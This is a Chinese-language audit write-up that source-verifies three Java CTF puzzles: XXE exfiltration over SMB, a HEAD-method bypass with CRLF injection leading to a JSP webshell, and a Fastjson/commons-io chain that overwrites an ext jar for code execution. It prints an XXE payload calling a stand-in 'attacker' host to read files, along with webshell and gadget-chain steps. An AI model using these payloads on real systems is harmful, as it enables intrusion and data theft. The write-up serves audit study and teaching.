Files
Penetration_Testing_POC/books/Java-Puzzle-安全审计源码验证报告.md

25 KiB
Raw Permalink Blame History

基于 cwkiller/Java-Puzzle 三道 Java Web 安全谜题,结合 OpenJDK、Apache HttpCore、Apache commons-io 的官方源码,对每条利用结论进行逐行验证与扩展分析。

写作目的:把「单点 trick」沉淀为「可批量复制的审计方法论」。所有结论均附源码位置与版本 diff,可独立复现。


目录


一、谜题总览

Java-Puzzle 是一个 Java Web 安全谜题(CTF)集合,每题基于真实审计场景设计,包含三个独立挑战:

序号 名称 难度 核心知识点 关键版本
01 No-FTP-XXE 盲 XXE、协议解析差异、多行文件外带 dom4j、Spring、Windows、JDK ≥ 8u131
02 Tomcat's Secret Chamber Servlet 3.0 web-fragment 隐藏配置、HEAD 绕过、不出网 SSRF GetShell Tomcat 9.0.10、Apache HttpClient < 4.5.10
03 Fastjson Decoder Fastjson 反序列化、commons-io 链 NPE 适配、ASCII jar 覆盖 ext Fastjson 1.2.78、commons-io 2.2、OpenJDK 8u342

本文对每道题做三层分析:① 题目与官方解 → ② 源码级验证 → ③ 审计/渗透可复用经验


二、题一 No-FTP-XXE:协议差异是富矿

2.1 题目与官方解

漏洞代码(Spring + dom4j):

@PostMapping("/update-config")
public ResponseEntity<Map<String, Object>> updateSystemConfig(
        @RequestParam("configXml") String configXml, ...) {
    CompletableFuture.runAsync(() -> {                        // 异步
        try {
            SAXReader reader = new SAXReader();
            Document document = reader.read(new StringReader(configXml));  // ★ XXE sink
            processConfigDocument(document);
        } catch (DocumentException e) {
            System.err.println("配置处理错误: " + e.getMessage());   // 异常全吞
        }
    });
    ...
}

特征:异步处理 + 所有异常被吞 → 报错 XXE 路线被堵死,只剩 OOB(外带)。

官方解:目标为 Windows,高版本 JDK(JDK ≥ 8u131)无法用 FTP 外带多行文件,最终用 file/netdoc 协议构造 UNC 路径,通过 SMB 外带:

<!-- 1. 列目录拿到 flag 文件名 -->
<!DOCTYPE data [
<!ENTITY % f SYSTEM "netdoc://C:/">
<!ENTITY % dtd SYSTEM "http://attacker:9991/data.dtd"> %dtd;
]>
<data>&send;</data>

<!-- 2. 读文件内容(data.dtd 把 %f 拼进 UNC 路径发往 SMB) -->
<!ENTITY % file SYSTEM "file:///C:/flagxdzqs.txt">

工具链:xxe-smb-server(impacket 开匿名 SMB)+ python3 -m http.server 放恶意 DTD + tcpdump -i eth0 port 445 -w smb.pcap 抓包。

2.2 源码级验证

2.2.1 协议清单是可枚举的

URL.getURLStreamHandler(OpenJDK java/net/URL.java:1133)按命名约定 sun.net.www.protocol.<协议>.Handler 解析处理器:

packagePrefixList += "sun.net.www.protocol";                  // :1160
String clsName = packagePrefix + "." + protocol + ".Handler"; // :1171-1172

从源码目录看,JDK 内置且仅内置这 7 个协议:

file  ftp  http  https  jar  mailto  netdoc

审计意义:拿到一个 JDK/中间件环境,先列出实际存在的 Handler 目录,得到一份确定的「可达协议清单」,再逐个分析过滤策略——而不是盲目试探。

2.2.2 FTP:修复 commit 的精确位置(8u131,不是 8u162)

网上流传分界线是 jdk<8u162,源码 diff 证明真正分界是 8u131

8u121 FtpClient.java:520-533(修复前):

private boolean issueCommand(String cmd) throws IOException {        // 只声明 IOException
    ...
    sendServer(cmd + "\r\n");                                        // ★ 直接发,无换行检查
    return readReply();
}

8u131 FtpClient.java:520-540(修复后):

private boolean issueCommand(String cmd) throws IOException,
        sun.net.ftp.FtpProtocolException {                           // 新增异常
    ...
    if (cmd.indexOf('\n') != -1) {                                   // ★ 新增检查
        sun.net.ftp.FtpProtocolException ex
                = new sun.net.ftp.FtpProtocolException("Illegal FTP command");
        ex.initCause(new IllegalArgumentException("Illegal carriage return"));
        throw ex;
    }
    sendServer(cmd + "\r\n");
    return readReply();
}

精确 diff:8u121 → 8u131 只多了两个改动——签名加 FtpProtocolException、新增 6 行 indexOf('\n') 检查。8u131 → 8u202 完全一致,检查一直保留。所有 FTP 命令(含 user/pass 认证字段)最终都走 issueCommand,无一幸免。

2.2.3 HTTP:双重拦截 + 构造期检查

// HttpURLConnection.java:847 — 构造时检查整个 URL
private static URL checkURL(URL u) throws IOException {
    if (u != null) {
        if (u.toExternalForm().indexOf('\n') > -1) {        // 整个 URL 外部形式
            throw new MalformedURLException("Illegal character in URL");
        }
    }
    return u;
}

// HttpURLConnection.java:828 — 另一个构造器检查 host
private static String checkHost(String h) throws IOException {
    if (h != null) {
        if (h.indexOf('\n') > -1) {                          // host 单独再查
            throw new MalformedURLException("Illegal character in host");
        }
    }
    return h;
}

checkURL 在构造函数 super(checkURL(u))(:857)就调用,请求还没发,构造 URL 时就抛异常。writeup 提到的 userinfo(user:pass@host)虽允许传入但不自动带 Authorization 头,加上这道构造期检查,HTTP 外带彻底无解。

2.2.4 mailto:命令字段的 \n 拦截

mailto 委托给 sun.net.smtp.SmtpClient:

// SmtpClient.java:77 — RCPT TO
public void to(String s) throws IOException {
    if (s.indexOf('\n') != -1) {                            // ★
        throw new IOException("Illegal SMTP command", ...);
    }
    ...
    issueCommand("rcpt to: <" + s + ">\r\n", 250);
}

// SmtpClient.java:123 — MAIL FROM,同样检查
public void from(String s) throws IOException {
    if (s.indexOf('\n') != -1) {                            // ★
        throw new IOException("Illegal SMTP command", ...);
    }
    ...
}

to() / from() 都拦 \n,且 mailto 的 Handler 不实现输入(只返回 MailToURLConnection),protocol doesn't support input,OOB 触发读取时直接报错。

2.2.5 file / netdoc:无过滤的逃生口

// netdoc/Handler.java — openConnection 回退到 file 协议
if (uc == null) {
    try {
        ru = new URL("file", "~", file);                    // ★ 回退到 file
        uc = ru.openConnection();
    } ...
}

netdoc 先尝试文档 URL,失败就 new URL("file",...)。而 file 协议处理器没有任何换行检查,所以 file://\\attacker\sharenetdoc://\\attacker\share 构造的 UNC 路径畅通无阻,Windows 上触发 SMB 连接,多行内容进了 SMB 数据包——这就是 SMB 能外带多行的根本原因。

2.2.6 七协议过滤矩阵(源码验证结果)

协议 关键代码位置 \n 是否被拦 结论
ftp FtpClient#issueCommand (8u131+:532) JDK≥8u131 无法外带多行
http/https HttpURLConnection#checkURL (8u202:849) 整个 URI 含 \n 直接 MalformedURLException
http host HttpURLConnection#checkHost (8u202:830) host 部分含 \n 也拦
mailto SmtpClient#to(78) / #from(124) RCPT TO / MAIL FROM 都判 \n
jar 委托给 http 等同 http
file \n 过滤 不拦 唯一突破口
netdoc Handler#openConnection 回退到 file 不拦 另一突破口

2.3 审计/渗透可复用经验

  1. DOM4J 的 SAXReader 是高频 XXE 点。审计全文搜 SAXReaderDocumentBuilderXMLInputFactoryUnmarshallerTransformer,确认是否做了 FEATURE_DISALLOW_DOCTYPE_DECL 等加固。
  2. 异步 + 异常全吞 ≠ 安全。报错 XXE 被堵死,但 OOB 依然成立。不要因为「异常被吞了」就放行 XXE。
  3. 判断 OS 看「外带服务有没有收到请求」:请求 /etc/passwd 收不到回连,立刻怀疑 Windows。
  4. 协议安全检查是分散的、非对称的。JDK 把 \n 拦截做在每个处理器自己的代码里,而不是统一网络层。看到一个协议有过滤,绝不能推断其他协议也有,必须逐个验证。
  5. 版本边界用源码 diff 确认,不能信二手说法(8u131 ≠ 8u162)。

2.4 实战坑点

  1. Win11 安全策略不允许访问匿名 SMB,只发认证请求不发 Tree Connect Request,需 map to guest = Bad User
  2. 家宽到云服务器 445 出站被封,换云厂商没用,是出口侧被封。
  3. Tree Connect Request 首字符不能是 ;:绕过用 file:////ip/a%file; 前面加字符。

三、题二 Tomcat's Secret Chamber:(byte)char 高位截断

3.1 题目与官方解

本题分两部分:权限绕过 + 不出网 SSRF GetShell

第一部分:隐藏配置 + HEAD 绕过

访问 /admin/getimg.jsp 返回 403,但 web.xml 为空。配置藏在 JAR 包的 web-fragment.xml 里:

WEB-INF/lib/ant-apache-xalan2.jar!/META-INF/web-fragment.xml
<security-constraint>
    <web-resource-collection>
        <url-pattern>/admin/*</url-pattern>
        <http-method>GET</http-method>      <!-- 只限 GET/POST -->
        <http-method>POST</http-method>
    </web-resource-collection>
    <auth-constraint></auth-constraint>      <!-- 拒绝所有角色 -->
</security-constraint>

绕过:用 HEAD 方法。JSP 编译后继承 HttpJspBase,HttpServlet#service 对 HEAD 的处理是「调用 doGet + 包 NoBodyResponse(吞响应体)」。所以 HEAD /admin/getimg.jsp 绕过权限,副作用(文件写入/SSRF)照样执行。

第二部分:不出网 SSRF 写 shell

getimg.jsp 用 Apache HttpClient 请求 url 参数,响应体写入 /img/<最后一个斜杠后的内容>,后缀无限制、只过滤 ..。需要让 Tomcat 自己返回含 JSP 代码的响应:

  1. HTTP 头值部分可触发 Tomcat 错误回显。
  2. Apache HttpClient < 4.5.10 有 CRLF 注入:\n 被防御,但 Unicode \u560a(URL 编码 %E5%98%8A)能绕过。
  3. CRLF 注入到响应头,注入 EL 表达式 ${param.getClass().forName(...)...eval(param.cmd)} 构造 webshell。
  4. 写入文件,ScriptEngine 落地内存马。

3.2 源码级验证:(byte)char 截断的完整调用链

writeup 说修复在 ByteArrayBuffer,源码印证漏洞点就是 append(char[]) 里的一行强转。

漏洞代码(HttpCore 4.4.11 ByteArrayBuffer.java:138-140):

for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) {
    this.buffer[i2] = (byte) b[i1];        // ★ char 强转 byte,丢弃高8位
}

完整调用链(writeup 没展开,源码补全):

AbstractMessageWriter.write(message)                  // 序列化整个 HTTP 消息
  ├─ writeHeadLine(message)                           // 写请求行
  └─ for each header:
       sessionBuffer.writeLine(                       // AbstractMessageWriter:111
           lineFormatter.formatHeader(lineBuf, header))   // 格式化 "Name: Value"
            │
            ▼
SessionOutputBufferImpl.writeLine(CharArrayBuffer)    // :232
  └─ this.buffer.append(charbuffer, off, chunk)       // :243  char[] → byte 缓冲
            │
            ▼
ByteArrayBuffer.append(char[] b, int off, int len)    // :122
  └─ this.buffer[i2] = (byte) b[i1];                  // :139  ★ 截断发生处
            │  之后 writeLine(CRLF) 追加 \r\n  (:255)
            ▼
        网络发出含注入换行的请求头

\u560a 的低 8 位正是 0x0a,高 8 位 0x56 被截断丢弃 → 变成 \u000a(\n)。推论 \uxx0a(xx 任意)都成立。

修复 commit(HttpCore 4.4.12,client 4.5.10 引入):

// ByteArrayBuffer.java (4.4.12) 第 139-146 行
for (int i1 = off, i2 = oldlen; i2 < newlen; i1++, i2++) {
    if ((b[i1] >= 0x20 && b[i1] <= 0x7E) ||    // 可见 ASCII
        (b[i1] >= 0xA0 && b[i1] <= 0xFF)) {    // 可见 ISO-8859-1
        this.buffer[i2] = (byte) b[i1];
    } else {
        this.buffer[i2] = '?';                  // ★ 超范围一律替换为 ?
    }
}

0x0a 不在 [0x20,0x7E][0xA0,0xFF],任何换行字符被替换成 ?,CRLF 注入堵死。修复只改了 char 来源路径,没动 append(byte[])append(int)(那两个本来就是 byte),定位精准。

3.3 审计/渗透可复用经验

  1. web.xml 为空不代表没有安全配置。Servlet 3.0 的 web-fragment.xml 允许 JAR 在 META-INF 定义 security-constraint。审计时必须解压所有 JAR 搜 web-fragment.xml<security-constraint><url-pattern>
  2. <http-method> 枚举是致命疏漏:没列的方法默认放行。看到枚举方法立刻检查 JSP/Servlet 是否支持其他方法(HEAD/OPTIONS/PUT/DELETE)。
  3. HEAD 绕过的通用性:任何只重写 doGet/doPost 的 Servlet 都能用 HEAD/TRACE 访问。HttpServlet#service 对 HEAD 是「调 doGet + NoBodyResponse 吞响应体」。
  4. (byte)charValue 是可扫描的漏洞指纹。grep 全量搜 \(byte\)\s*\w+\[ 强转模式,出现在「网络/序列化/编码转换」路径上的高危。正确修复是白名单(只放行可见字符),不是黑名单(拦 \r\n)——黑名单会漏掉 \u560a 编码绕过。
  5. SSRF 文件下载必须限白名单后缀。本题 fileName.indexOf("..") 只过滤目录穿越,不限后缀导致写 jsp。

四、题三 Fastjson Decoder:失败前的副作用

4.1 题目与官方解

Fastjson 1.2.78 + commons-io 2.2。公开的 commons-io 链(WriterOutputStream)在 Docker/OpenJDK 环境因 decoder 参数为 null 报 NPE。但 fastjson 反序列化是从内层到外层依次构造,外层 LockableFileWriterWriterOutputStream 之前处理——副作用(建带锁空文件)依然发生

适配 NPE 的关键 trick:

"decoder":{"@type":"com.alibaba.fastjson.util.UTF8Decoder"}

用 Fastjson 自带的 UTF8Decoder 填充原本为 null 的 decoder 字段,绕过 NPE。

落地链:

  1. 生成纯 ASCII jar(c0ny1 脚本,padding 让 zip 各字段落在 ASCII 范围)。
  2. 覆盖 $JRE/lib/ext/dnsns.jar(-verbose:class 查未加载的 ext jar)。
  3. @type 指向 sun.net.spi.nameservice.dns.DNSNameServiceDescriptor,其构造函数执行 Runtime.exec(message)

4.2 源码级验证

4.2.1 NPE 根因:构造函数选择决定成败

// WriterOutputStream.java
private final CharsetDecoder decoder;          // :77 — final,必须构造时赋值

// 构造函数 A:直接接收 decoder (4参, :120)
public WriterOutputStream(Writer writer, CharsetDecoder decoder, int bufferSize, ...) {
    this.decoder = decoder;                     // :122 — 用外部传入的 decoder
}

// 构造函数 C:用 Charset (4参, :139) — 内部 newDecoder,decoder 非空
public WriterOutputStream(Writer writer, Charset charset, int bufferSize, ...) {
    this(writer, charset.newDecoder()..., ...); // :140-141 → 转调 A
}

// 构造函数 B:用 charsetName (4参, :173) → 转调 C → 转调 A,decoder 非空

NPE 真正原因:Fastjson 在不同 JDK 发行版下选中的构造函数不同。

  • Mac IDEA:选中 (Writer, String charsetName, ...)(:173)或 (Writer, Charset, ...)(:139),内部 newDecoder() 非 null → 不报 NPE。
  • Docker/OpenJDK:选中 (Writer, CharsetDecoder, ...)(:120),payload 未显式给 decoderdecoder = nullprocessInput()(:280)调 this.decoder.decode(...) 触发 NPE。

writeup 的 "decoder":{"@type":"...UTF8Decoder"} 就是强行给构造函数 A 注入非 null decoder,源码完美解释其有效性。

4.2.2 副作用时序(题三最核心的审计点)

LockableFileWriter 构造函数(:158-184)的副作用时序:

new LockableFileWriter(file, encoding, append=false, lockDir)
  ├─ :164  FileUtils.forceMkdir(parent)        ← 副作用①:创建父目录
  ├─ :175  FileUtils.forceMkdir(lockDirFile)   ← 副作用②:创建锁目录
  ├─ :180  createLock()
  │    └─ :212 lockFile.createNewFile()         ← 副作用③:创建 .lck 锁文件
  │    └─ :216 lockFile.deleteOnExit()
  └─ :183  initWriter(file, encoding, append)
       └─ :238 new FileOutputStream(file, append=false)
            ← 副作用④:创建/截断目标文件(append=false 截断为 0 字节)

关键:外层 WriterOutputStream 在内层 LockableFileWriter 实例化之后才创建,而 Fastjson 从内层到外层依次构造。即使外层后续抛 NPE,副作用 ①-④ 已全部发生——目标文件已截断为空、锁文件已建。这就是「还是创建一个带锁的空文件」的源码级根因。

4.3 审计/渗透可复用经验

  1. 失败 ≠ 无害:追踪构造函数里、抛异常前的副作用。逐行列出「在第一个可能抛异常的语句前,已改了哪些外部状态」(建文件、建目录、建锁、写日志、发网络请求)。
  2. 构造函数歧义是反序列化漏洞的放大器WriterOutputStream 有 7 个构造函数,3 个参数族对 null 容忍度不同。审计反序列化 sink 时,穷举所有构造函数,画「每个构造函数对每个 final 字段的赋值来源」
  3. 环境差异归因到具体代码路径分歧,不要停在「JDK 发行版不同」。本题真正分歧是「Fastjson 选中的构造函数不同」。
  4. 公开链报 NPE 别判死刑:看「报错之外副作用是否仍发生」。
  5. ASCII jar + 覆盖未加载 ext jar 是 Fastjson 文件写 getshell 的通用落地手法,-verbose:class 是审计工具。

五、跨题方法论沉淀

三道题在源码层面验证出三条可复用的审计规则,都可机械化执行(grep 强转、grep 构造函数、画副作用时序):

规则 题一(协议) 题二(类型截断) 题三(构造函数歧义)
过滤是分散的、逐实现做的,不能跨实现推断 ftp/http/mailto 各自拦 \n,file/netdoc 不拦 append(byte[]) 不过滤,append(char[]) 才截断——同一类两个方法策略不同 7 个构造函数,只有接 CharsetDecoder 的那个会让 decoder 为 null
版本边界靠 diff 确认,不能信二手说法 8u131 不是 8u162 httpcore 4.4.12 / client 4.5.10 commons-io 2.2 此构造函数族一直存在
关注失败前的副作用,而非失败本身 命令被拦 = 外带失败,无副作用残留 字符被替换为 ? = 注入失败,无副作用 NPE 抛在外层,内层文件副作用已完成 ← 最典型

通用分析方法

  1. 拿到代码先排异常处理路径:异常被吞(题一)、web.xml 为空(题二)、公开链报 NPE(题三),都不是终点。
  2. 协议/类型/构造函数差异是富矿:每种实现的处理都不同,逐个验证。
  3. Java 类型强转是漏洞模式:(byte)char 高位截断(题二)、indexOf(10) 单字符判断(题一)。
  4. 隐藏配置的排查:解压所有 JAR 扫 META-INF/
  5. HTTP 方法完整性:security-constraint<http-method>、Servlet 的 doGet/doPost、JSP 的方法支持——只要没覆盖全集就可能绕过。
  6. 环境一致性:本地 IDE 与 Docker 表现不同,优先怀疑 JDK 发行版差异,在目标同构环境复现。

六、可执行的审计检查清单

XXE

  • 全文搜 SAXReader / DocumentBuilder / XMLInputFactory / Unmarshaller / Transformer,确认 doctype 禁用。
  • 异步/异常吞掉的 XML 解析点,验证 OOB(外带)是否成立。
  • 列出目标 JDK 的可达协议清单(sun.net.www.protocol.*),逐个评估外带面。
  • 确认 JDK 版本,用源码 diff 而非二手文档判断 FTP 外带分界(8u131)。

权限控制

  • 解压所有 JAR,搜 web-fragment.xml / web-fragment_*.xsd / <security-constraint>
  • 检查 <http-method> 是否枚举了全集;未列的方法默认放行。
  • 对每个受保护资源测试 HEAD / OPTIONS / TRACE / PUT / DELETE。
  • Servlet 只重写 doGet/doPost 的,验证 HEAD 是否能触发副作用。

类型截断 / 编码

  • grep \(byte\)\s*\w+\[ 强转模式,标注网络/序列化路径上的高危点。
  • HTTP 客户端版本核对(Apache HttpClient < 4.5.10 存在 CRLF 注入)。
  • 写文件功能检查后缀白名单,不只过滤 ..

反序列化

  • 反序列化 sink 目标类穷举构造函数,画 final 字段赋值来源表。
  • 画构造函数副作用时序(抛异常前已改的外部状态)。
  • 公开链报错时,验证「失败前的副作用是否仍发生」。
  • 文件写 getshell:确认目标 JDK 版本(ext jar 可加载性)、-verbose:class 列未加载 jar。

附录:版本边界与源码索引

A.1 版本边界速查

组件 漏洞 修复版本 真实分界(源码验证)
OpenJDK 8 FTP 多行外带 8u131 FtpClient#issueCommand 新增 indexOf('\n') 检查
OpenJDK 8 HTTP URI \n 早期版本起 HttpURLConnection#checkURL 构造期检查
Apache HttpCore (byte)char CRLF 注入 4.4.12 ByteArrayBuffer#append(char[]) 白名单过滤
Apache HttpClient 同上(引入 httpcore) 4.5.10 升级 httpcore 4.4.11 → 4.4.12
commons-io 2.2 WriterOutputStream decoder null 未单独修(利用链适配) 构造函数族一直存在
Fastjson 1.2.78 commons-io 链 需手动适配 decoder UTF8Decoder 填充绕过 NPE

A.2 关键源码文件索引

题一(协议差异):

文件 仓库 / Tag 关键行
sun/net/ftp/impl/FtpClient.java openjdk/jdk8u (8u121 / 8u131 / 8u202) 8u131:532
sun/net/www/protocol/http/HttpURLConnection.java openjdk/jdk8u jdk8u202-b08 checkURL:849, checkHost:830
sun/net/smtp/SmtpClient.java openjdk/jdk8u jdk8u202-b08 to:78, from:124
sun/net/www/protocol/netdoc/Handler.java openjdk/jdk8u jdk8u202-b08 openConnection 回退 file
java/net/URL.java openjdk/jdk8u jdk8u202-b08 getURLStreamHandler:1133

题二(类型截断):

文件 仓库 / Tag 关键行
org/apache/http/util/ByteArrayBuffer.java apache/httpcomponents-core rel/v4.4.11 vs 4.4.12 append(char[]):139
org/apache/http/impl/io/AbstractMessageWriter.java apache/httpcomponents-core rel/v4.4.11 write():106-116
org/apache/http/impl/io/SessionOutputBufferImpl.java apache/httpcomponents-core rel/v4.4.11 writeLine():232-256

题三(副作用时序):

文件 仓库 / Tag 关键行
org/apache/commons/io/output/WriterOutputStream.java apache/commons-io 2.2 decoder 字段:77, 构造函数:120/139/173
org/apache/commons/io/output/LockableFileWriter.java apache/commons-io 2.2 构造函数副作用:158-184

A.3 复现步骤

所有源码均可从 GitHub 公开仓库直接获取,无需鉴权:

# 题一:对比 JDK 8u121 与 8u131 的 FTP 修复
curl -o FtpClient_8u121.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u121-b13/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java
curl -o FtpClient_8u131.java https://raw.githubusercontent.com/openjdk/jdk8u/jdk8u131-b11/jdk/src/share/classes/sun/net/ftp/impl/FtpClient.java
diff FtpClient_8u121.java FtpClient_8u131.java

# 题二:对比 HttpCore 4.4.11 与 4.4.12 的 ByteArrayBuffer 修复
curl -o BA_4.4.11.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.11/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java
curl -o BA_4.4.12.java https://raw.githubusercontent.com/apache/httpcomponents-core/rel/v4.4.12/httpcore/src/main/java/org/apache/http/util/ByteArrayBuffer.java
diff BA_4.4.11.java BA_4.4.12.java

# 题三:commons-io 2.2 构造函数族
curl -o WriterOutputStream.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/WriterOutputStream.java
curl -o LockableFileWriter.java https://raw.githubusercontent.com/apache/commons-io/2.2/src/main/java/org/apache/commons/io/output/LockableFileWriter.java

声明:本文内容仅用于安全研究、代码审计学习与防御教学。所有源码引用均来自官方公开仓库,漏洞利用部分基于公开的 CTF 谜题场景。请在授权环境下进行安全测试。

整理自 Java-Puzzle 三道谜题的 writeup 与 OpenJDK / Apache HttpCore / Apache commons-io 源码级验证分析。